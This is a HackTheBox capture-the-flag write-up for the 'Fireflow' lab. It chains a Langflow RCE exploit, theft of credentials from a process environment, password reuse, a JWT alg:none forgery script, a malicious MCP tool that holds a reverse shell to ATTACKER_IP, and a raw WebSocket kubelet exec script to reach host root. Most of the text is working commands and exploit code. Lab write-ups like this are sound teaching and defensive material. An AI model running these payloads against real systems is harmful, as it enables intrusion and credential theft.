HackTheBoxMedium

HTB: Fireflow

An unauthenticated Langflow RCE (CVE-2026-33017) leads to leaked superuser credentials via process environment, password reuse for user access, a JWT alg:none forgery against a custom MCP server, and finally a Kubernetes nodes/proxy verb bypass to a privileged pod for host root.

Stylized flame inside an orange ring badge

Enumeration

┌─[lyoo3@parrot]─[~/Desktop/CTFs/HTB/Fireflow]
└──╼ $nmap -A -p- -Pn -n -T4 -vv -oN nmap.txt 10.129.67.10

22/tcp  open  ssh      syn-ack OpenSSH 9.6p1 Ubuntu
443/tcp open  ssl/http syn-ack nginx
| ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall
|_http-title: Did not follow redirect to https://fireflow.htb/

443 redirects to fireflow.htb → add it to /etc/hosts.

Directory fuzzing on the main vhost turns up nothing but the index page:

┌─[lyoo3@parrot]─[~/Desktop/CTFs/HTB/Fireflow]
└──╼ $ffuf -u https://fireflow.htb/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .php,.html,.htm,.txt,.json,.xml,.js

index.html   [Status: 200, Size: 12913, Words: 2516, Lines: 299]

Vhost fuzzing is where the real surface shows up:

┌─[lyoo3@parrot]─[~/Desktop/CTFs/HTB/Fireflow]
└──╼ $ffuf -u https://fireflow.htb/ -H "Host:FUZZ.fireflow.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac

flow   [Status: 200, Size: 1142, Words: 132, Lines: 25]

The main site’s source also links the same subdomain directly (an “Open agent” button): https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25 — add flow.fireflow.htb to /etc/hosts too.

Foothold — Unauthenticated Langflow RCE (CVE-2026-33017)

flow.fireflow.htb is a chatbot built on Langflow, currently responding with a placeholder “still under development” message — a dead end on its own, but the version endpoint is unauthenticated:

curl https://flow.fireflow.htb/api/v1/version
# {"version":"1.8.2","main_version":"1.8.2","package":"Langflow"}

Langflow versions prior to 1.9.0 are vulnerable to CVE-2026-33017, an unauthenticated RCE via the build_public_tmp flow-execution path (advisory):

git clone https://github.com/c0gnit00/CVE-2026-33017.git
cd CVE-2026-33017
python3 CVE-2026-33017.py --url https://flow.fireflow.htb \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost ATTACKER_IP --lport 4444

The exploit runs arbitrary Python inside the Langflow process itself, so a listener (nc -lvnp 4444) catches a shell as the service user:

www-data@fireflow:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Looting Langflow’s Data Directory

www-data@fireflow:/var/lib/langflow$ ls -la
drwxr-xr-x  4 www-data www-data 4096 May 12 15:28 ba4fe756-d6f7-4c7a-a7b1-f986206878ec
-rw-r--r--  1 root     root        0 Apr  9 14:41 langflow.db
drwxr-xr-x  4 www-data www-data 4096 May 12 15:28 profile_pictures
-rw-------  1 www-data www-data   43 Aug  5 22:46 secret_key

www-data@fireflow:/var/lib/langflow$ cat secret_key
XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
  • secret_key is Langflow’s Fernet key (used to encrypt stored secrets in the DB).
  • langflow.db is 0 bytes and root-owned — a decoy; real config lives in the service environment instead.
  • The UUID folder only holds an MCP server config pointing at an internal API on 127.0.0.1:7860 — no loot, but it confirms the internal Langflow port.

Credential Leak via Process Environment

The shell was spawned by the Langflow systemd service, so it inherits that service’s environment — which leaks the superuser password in cleartext:

www-data@fireflow:/var/lib/langflow$ cat /proc/self/environ | tr '\0' '\n' | grep -iE 'langflow|secret|pass'
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1[REDACTED]4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_AUTO_LOGIN=False

Privesc to User (nightfall) — Password Reuse

Only one real login user besides root:

www-data@fireflow:/var/lib/langflow$ grep -E 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
nightfall:x:1000:1000::/home/nightfall:/bin/bash

nightfall reuses the leaked Langflow superuser password:

www-data@fireflow:/var/lib/langflow$ su nightfall
Password: n1[REDACTED]4ll
nightfall@fireflow:/var/lib/langflow$ cd ~ && cat user.txt
5ea5[REDACTED]b801f

The same credential works over SSH too — ssh nightfall@fireflow.htb gives a stable PTY instead of the fragile web shell.

Lateral Movement — Custom MCP Server

nightfall’s home has a hidden .mcp config leaking creds for a custom MCP server on port 30080:

nightfall@fireflow:~$ cat ~/.mcp/config.json
{
  "server": "http://10.129.67.10:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}

The version endpoint advertises the auth scheme — and critically lists none as a supported JWT algorithm:

nightfall@fireflow:~$ curl -s http://10.129.67.10:30080/api/v1/version | python3 -m json.tool
{
  "service": "MCP AI Tool Registry",
  "auth": { "type": "JWT", "supported_algorithms": ["HS256", "none"] },
  "endpoints": [
    "POST /mcp",
    "POST /api/v1/auth",
    "GET  /api/v1/tools",
    "POST /api/v1/tools               [admin]"
  ]
}

POST /api/v1/tools (register a tool, with a code field) is admin-only — an RCE sink if it’s reachable. Authenticating with the leaked creds only yields a user-role token, which that endpoint rejects:

nightfall@fireflow:~$ curl -s -X POST http://10.129.67.10:30080/api/v1/auth \
  -H 'Content-Type: application/json' \
  -d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}'
{"access_token":"eyJ...","token_type":"bearer"}

nightfall@fireflow:~$ echo 'eyJ...' | cut -d. -f2 | base64 -d
{"sub":"langflow-bot","role":"user"}
# {"detail":"Admin role required"}

JWT alg:none Forgery → Admin

Since none is an accepted algorithm, a token with no signature and role flipped to admin is trivially forged:

# craft.py
import base64, json
b64 = lambda d: base64.urlsafe_b64encode(json.dumps(d,separators=(",",":")).encode()).rstrip(b"=").decode()
header  = b64({"alg":"none","typ":"JWT"})
payload = b64({"sub":"attacker","role":"admin"})
print(f"{header}.{payload}.")   # trailing dot = empty signature

Malicious Tool Registration → Shell as mcp

With the forged admin token, register a tool whose code is arbitrary Python, then invoke it via the MCP JSON-RPC endpoint:

nightfall@fireflow:~$ ADMIN_JWT=$(python3 craft.py)

nightfall@fireflow:~$ curl -s -X POST http://10.129.67.10:30080/api/v1/tools \
  -H "Authorization: Bearer $ADMIN_JWT" -H 'Content-Type: application/json' \
  -d '{"name":"shell","description":"x","inputSchema":{"type":"object","properties":{}},
       "code":"import os;os.system(\"bash -c '\''bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1'\''\")"}'
{"status":"registered","name":"shell"}

nightfall@fireflow:~$ curl -s -X POST http://10.129.67.10:30080/mcp \
  -H "Authorization: Bearer $ADMIN_JWT" -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"shell","arguments":{}}}'
$ nc -lvnp 9001
mcp@mcp-server-54464cb475-29ztf:/app$ id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)

A JSON-RPC tool-runner is handy for enumeration without a full shell — register a tool whose code runs a subprocess and returns stdout, then tools/call it with each command.

Privilege Escalation — Kubernetes nodes/proxy → Host Root

The hostname (mcp-server-54464cb475-29ztf) plus a mounted service-account token show this shell is inside a k3s pod. Checking RBAC for that service account:

mcp@mcp-server:/app$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
mcp@mcp-server:/app$ curl -sk -X POST https://10.43.0.1/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'
# {"verbs":["get"],"apiGroups":[""],"resources":["nodes/proxy"]}

get on nodes/proxy allows proxying to the kubelet API. Listing pods on the node reveals a privileged pod with the host root filesystem mounted:

mcp@mcp-server:/app$ curl -sk -H "Authorization: Bearer $TOKEN" \
  https://10.43.0.1/api/v1/nodes/fireflow/proxy/pods | python3 -m json.tool | grep -iE 'name|privileged|hostpath|"path"'
# [!] PRIVILEGED: monitoring/prometheus-prometheus-node-exporter-nmntq
#     container: node-exporter   hostPaths: ['/proc', '/sys', '/']

node-exporter runs privileged: true and mounts host / — executing inside it means reading (or writing) any file on the host.

The Verb Trap: get vs create

kubeletctl talks directly to the kubelet, and its exec-upgrade is a POST requiring verb=create, which this service account doesn’t have:

$ kubeletctl --server 127.0.0.1 --token "$TOKEN" exec "id" \
  -p prometheus-prometheus-node-exporter-nmntq -c node-exporter -n monitoring
# unable to upgrade connection: Forbidden (verb=create, resource=nodes, subresource=[proxy])

The bypass: a WebSocket exec is technically a GET requestverb=get, which is allowed. So the kubelet’s exec endpoint gets driven with a raw GET WebSocket handshake instead of the higher-level tool.

WebSocket Exec → Root

The kubelet also listens on 127.0.0.1:10250 on the host itself, so this runs straight from the nightfall SSH session — no extra tooling, no reverse shell back into the pod needed. First, the pod’s service-account token is exfiltrated to the host (e.g. printed from the mcp tool-runner and saved as /tmp/t.jwt on nightfall).

With no websockets library available on nightfall, the exec handshake and frame parser are implemented stdlib-only:

# /tmp/x.py — stdlib-only kubelet exec over a raw GET WebSocket
import socket, ssl, base64, os, sys, struct, urllib.parse
HOST, PORT = "127.0.0.1", 10250
TOKEN = open("/tmp/t.jwt").read().strip()
NS, POD, C = "monitoring", "prometheus-prometheus-node-exporter-nmntq", "node-exporter"
CMD = ["/bin/sh","-c","id; echo '--- flag ---'; cat /host/root/root/root.txt"]
params = [("output","1"),("error","1")] + [("command",c) for c in CMD]
path = "/exec/%s/%s/%s?%s" % (NS,POD,C,urllib.parse.urlencode(params))
key = base64.b64encode(os.urandom(16)).decode()
req = ("GET %s HTTP/1.1\r\nHost: %s\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n"
       "Sec-WebSocket-Key: %s\r\nSec-WebSocket-Version: 13\r\n"
       "Sec-WebSocket-Protocol: v4.channel.k8s.io\r\nAuthorization: Bearer %s\r\n\r\n") % (path,HOST,key,TOKEN)
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
s = ctx.wrap_socket(socket.create_connection((HOST,PORT)), server_hostname=HOST)
s.sendall(req.encode())
# ... (minimal handshake read + WS frame parser, then print decoded stdout)

Running it as nightfall execs inside the privileged pod as root and reads the flag straight through the host / mount:

nightfall@fireflow:~$ python3 /tmp/x.py
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
--- flag ---
a3c2[REDACTED]72fa6

The exec lands as root inside a container that mounts the host filesystem at /host/root, so this is effectively full root on the host — swap the command for chroot /host/root /bin/bash for an interactive root shell, or drop an SSH key into /host/root/root/.ssh/authorized_keys.

Attack Chain Summary

  1. Reconflow.fireflow.htb vhost → Langflow 1.8.2.
  2. CVE-2026-33017 (unauth RCE via build_public_tmp + malicious flow code) → shell as www-data.
  3. Password reuse — Langflow superuser password (leaked via process environment) reused by nightfall → SSH + user flag.
  4. .mcp/config.json leaks creds to a custom MCP server → JWT alg:none forgery → admin → malicious tool registration → shell as mcp (inside a k3s pod).
  5. nodes/proxy (get) + a privileged node-exporter pod mounting host /WebSocket (GET) kubelet exec (bypassing the create verb kubeletctl needs) → root on the host.

Takeaways

  • Unauthenticated version endpoints are reconnaissance gold. /api/v1/version needed no auth and immediately named the exact CVE to reach for.
  • Secrets in a process’s environment are inherited by anything that shell spawns from it. /proc/self/environ handed over the superuser password with zero privilege required beyond the initial RCE.
  • alg:none must never be an accepted JWT algorithm. Its presence in the advertised algorithm list alone is a full auth-bypass primitive — no cryptographic attack needed, just an unsigned token.
  • Kubernetes RBAC verbs are not interchangeable. Having get on nodes/proxy looks harmless next to the create verb a “normal” exec needs — but a WebSocket upgrade request is itself a GET, so the same permission that lets you list pods also lets you execute inside one.
  • A privileged pod mounting the host filesystem is host root, full stop — treat hostPath: / plus privileged: true as equivalent to handing out the node’s root password.